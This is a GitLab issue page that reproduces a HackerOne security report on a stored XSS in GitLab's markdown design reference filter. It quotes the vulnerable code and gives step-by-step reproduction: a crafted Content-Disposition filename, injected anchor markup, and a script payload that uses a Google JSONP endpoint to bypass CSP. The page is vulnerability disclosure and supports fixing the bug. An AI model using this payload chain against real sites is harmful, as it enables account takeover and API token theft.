Skip to content
GitLab Next
  • Menu
Projects Groups Snippets
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • GitLab GitLab
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
    • Locked Files
  • Issues 43,848
    • Issues 43,848
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 1,398
    • Merge requests 1,398
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
    • Test Cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages & Registries
    • Packages & Registries
    • Package Registry
    • Container Registry
    • Infrastructure Registry
  • Monitor
    • Monitor
    • Metrics
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.org
  • GitLabGitLab
  • Issues
  • #332420
Closed
Open
Created Jun 01, 2021 by GitLab SecurityBot@gitlab-securitybotReporter

Stored XSS in markdown via the DesignReferenceFilter

HackerOne report #1212067 by vakzz on 2021-05-28, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Summary

When rendering markdown, links to designs are parsed using the following link_reference_pattern:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/app/models/design_management/design.rb#L168

    def self.link_reference_pattern  
      [@]link_reference_pattern ||= begin  
        path_segment = %r{issues/#{Gitlab::Regex.issue}/designs}  
        ext = Regexp.new(Regexp.union(SAFE_IMAGE_EXT + DANGEROUS_IMAGE_EXT).source, Regexp::IGNORECASE)  
        valid_char = %r{[^/\s]} # any char that is not a forward slash or whitespace  
        filename_pattern = %r{  
          (?<url_filename> #{valid_char}+ \. #{ext})  
        }x

        super(path_segment, filename_pattern)  
      end  
    end  

The url_filename match is then used in parse_symbol:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/design_reference_filter.rb#L75

def parse_symbol(raw, match_data)  
  filename = match_data[:url_filename]  
  iid = match_data[:issue].to_i  
  Identifier.new(filename: CGI.unescape(filename), issue_iid: iid)  
end  

Since valid_char is anything apart from a forward slash or whitespace, this allows for any other special characters (such as quotes) to be matched.

The final url match gets used when creating the link in object_link_filter:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/filter/references/abstract_reference_filter.rb#L219

url =  
  if matches.names.include?("url") && matches[:url]  
    matches[:url]  
  else  
    url_for_object_cached(object, parent)  
  end

content = link_content || object_link_text(object, matches)

link = %(<a href="#{url}" #{data}  
            title="#{escape_once(title)}"  
            class="#{klass}">#{content}</a>)  

So if a design could be uploaded with a double quote in it's filename, this would cause it to break out of the href attribute.

Normally file uploads would go through workhorse and end up being sanitized by CarrierWave::SanitizedFile, but it's possible when uploading a design to skip the workhorse by using a Content-Disposition header such as Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''filename.png which allows for any character to be used as part of the design filename.

Since whitespaces and slashes are still invalid, it's only possible to inject tags without attributes, or inject attributed into the a element.

Injecting attributes can be chained with the ReferenceRedactor to replace the node with arbitrary html via the data-original attribute:

https://gitlab.com/gitlab-org/gitlab/-/blob/v13.12.1-ee/lib/banzai/reference_redactor.rb#L77

def redacted_node_content(node)  
  original_content = node.attr('data-original')  
  link_reference = node.attr('data-link-reference')

  # Build the raw <a> tag just with a link as href and content if  
  # it's originally a link pattern. We shouldn't return a plain text href.  
  original_link =  
    if link_reference == 'true'  
      href = node.attr('href')  
      content = original_content

      %(<a href="#{href}">#{content}</a>)  
    end  

For a CSP bypass, the jsonp endpoint of the google api can be used in combination with setTimeout:
https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout

Steps to reproduce
  1. Create a new project on gitlab.com
  2. Create a new issue
  3. Make sure burp or similar is running
  4. Upload a new design
  5. Edit the request and change the Content-Disposition header to Content-Disposition: form-data; name="1"; filename*=ASCII-8BIT''bbb%22class%3D%22gfm%22a%3D%27.png
  6. Refresh the page, there should now be a design named bbb"class="gfm"a='.png
  7. Create a new issue using the design link and the inner html containing a quote:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>  
' vakzz=here  
</a>  
  1. Looking at the markup you can see the a attribute contains everything up to the inner html and then the attribute vakzz has also been injected:
<a href="https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb" class="gfm" a=".png&quot; data-original=&quot;  
' vakzz=here  
&quot; data-link=&quot;true&quot; data-link-reference=&quot;true&quot; data-project=&quot;26924211&quot; data-design=&quot;226146&quot; data-issue=&quot;87875440&quot; data-reference-type=&quot;design&quot; data-container=&quot;body&quot; data-placement=&quot;top&quot;  
                          title=&quot;bbb&quot;class=&quot;gfm&quot;a='.png&quot;  
                          class=&quot;gfm gfm-design has-tooltip&quot;>  
" vakzz="here"></a>  
  1. Create a new issue using the design link, this time including the required data attributed to trigger the ReferenceRedactor and the payload html encoded in the data-original:
<a href='https://gitlab.com/vakzz-h1/design-xss/-/issues/2/designs/bbb%22class%3D%22gfm%22a%3D%27.png'>  
' data-design="1" data-issue="1" data-reference-type="design" data-original="  
  &lt;script src='https://apis.google.com/complete/search?client=chrome&q=alert(document.domain);//&callback=setTimeout'>&lt;/script>  
"
</a>  
  1. Save the issue and reload the page

xss.mp4

Impact

Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.

Examples

POC:
https://gitlab.com/vakzz-h1/design-xss/-/issues/3

What is the current bug behavior?
  • The AbstractReferenceFilter is generating the link using string interpolation but the url could contain double quotes
  • The design model can have an arbitrary` attribute
What is the expected correct behavior?
  • The url should be validated or escaped before being used
  • The design model could probably have a validator for the filename
Relevant logs and/or screenshots
Output of checks

This bug happens on GitLab.com

Impact

Stored XSS with CSP bypass allowing arbitrary javascript to be run anywhere that markdown could be posted (issues, comments, etc). This could be used to create and exfiltrate api tokens with full access as described in https://hackerone.com/reports/1122227 targeting individuals or specific projects.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

  • xss.mp4

How To Reproduce

Please add reproducibility information to this section:

Assignee
Assign to
Time tracking